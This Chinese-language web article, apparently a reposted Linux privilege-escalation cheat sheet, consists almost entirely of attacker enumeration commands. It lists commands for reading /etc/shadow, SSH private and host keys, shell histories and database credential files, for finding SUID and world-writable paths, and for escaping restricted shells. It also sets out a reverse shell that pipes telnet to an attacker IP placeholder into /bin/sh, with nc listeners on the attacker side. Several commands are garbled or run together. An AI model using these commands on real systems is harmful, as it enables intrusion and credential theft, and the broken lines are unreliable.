Linux中怎么提升權(quán)限

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)Linux中怎么提升權(quán)限，文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

操作系統(tǒng)

什么是系統(tǒng)類型？什么版本？

cat /etc/issue 

 cat /etc/*-release 

 cat /etc/lsb-release            # Debian based

 cat /etc/redhat-release # Redhat based

什么是內(nèi)核版本？64bit？

cat /proc/version      

uname -a            

uname -mrs

rpm -q kerneldmesg | grep Linux

ls /boot | grep vmlinuz-

查看環(huán)境變量？

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logoutenv

set

是否有打印機(jī)？

lpstat -a

正在運(yùn)行什么服務(wù)？哪個(gè)服務(wù)具有哪個(gè)用戶權(quán)限？

ps aux

ps -eftop

cat /etc/services

root運(yùn)行了哪些服務(wù)？在這些易受攻擊的服務(wù)中，值得仔細(xì)檢查！

安裝了哪些應(yīng)用程序？它們是什么版本的？他們目前正在運(yùn)行嗎？

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

任何服務(wù)設(shè)置配置錯(cuò)誤？是否附加了（易受攻擊的）插件？

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

運(yùn)行了哪些哪些job？

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

任何純文本用戶名和/或密碼？

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信與網(wǎng)絡(luò)

系統(tǒng)有哪些NIC？它是否連接到另一個(gè)網(wǎng)絡(luò)？

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

網(wǎng)絡(luò)配置設(shè)置？你能從這個(gè)網(wǎng)絡(luò)中找到什么？DHCP服務(wù)器？DNS服務(wù)器？網(wǎng)關(guān)？

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

其他用戶和主機(jī)與系統(tǒng)進(jìn)行通信的是什么？

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:onlastw

緩存？IP和/或MAC

arp -e

route

/sbin/route -nee

數(shù)據(jù)包嗅探可能嗎？

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

你能和系統(tǒng)互動(dòng)嗎？

nc -lvp 4444    # Attacker. Input (Commands)

nc -lvp 4445    # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

端口轉(zhuǎn)發(fā)可能嗎？重定向并與來自其他視圖的流量進(jìn)行交互

注意：http：//www.boutell.com/rinetd/

注意：http：//www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

注意：http：//downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

注意：FPipe.exe -l [本地端口] -r [遠(yuǎn)程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Portssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

隧道可能嗎？遠(yuǎn)程本地發(fā)送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]proxychains ifconfig

你是誰？誰登錄？誰已登錄？那里還有誰？誰能做什么？

id

who

w

last

cat /etc/passwd | cut -d: -f1    # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

可以找到哪些敏感文件？

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

ls -ahlR /root/

ls -ahlR /home/

是否有密碼; 腳本，數(shù)據(jù)庫，配置文件或日志文件？密碼的默認(rèn)路徑和位置

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用戶正在做什么？是否有明文密碼？他們?cè)诰庉嬍裁矗?/h5>

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到哪些用戶信息？

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

可以找到私鑰信息嗎？

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

哪些配置文件可以寫在/ etc /中？能夠重新配置服務(wù)嗎？

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/ var /中可以找到什么？

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

網(wǎng)站上的任何設(shè)置/文件（隱藏）？有數(shù)據(jù)庫信息的任何設(shè)置文件？

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

日志文件中是否有任何內(nèi)容（可以幫助“本地文件包含”?。?br/>

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

如果命令有限，你會(huì)打破“監(jiān)獄”外殼？

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

是否有任何未安裝的文件系統(tǒng)？

cat /etc/fstab

使用了什么“高級(jí)Linux文件權(quán)限”？粘性，SUID和GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUIDfor i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

哪里可以寫入和執(zhí)行？一些'常見'的地方：/ tmp，/ var / tmp，/ dev / shm

find / -writable -type d 2>/dev/null      # world-writeable folders

find / -perm -222 -type d 2>/dev/null     # world-writeable folders

find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

上述就是小編為大家分享的Linux中怎么提升權(quán)限了，如果剛好有類似的疑惑，不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí)，歡迎關(guān)注億速云行業(yè)資訊頻道。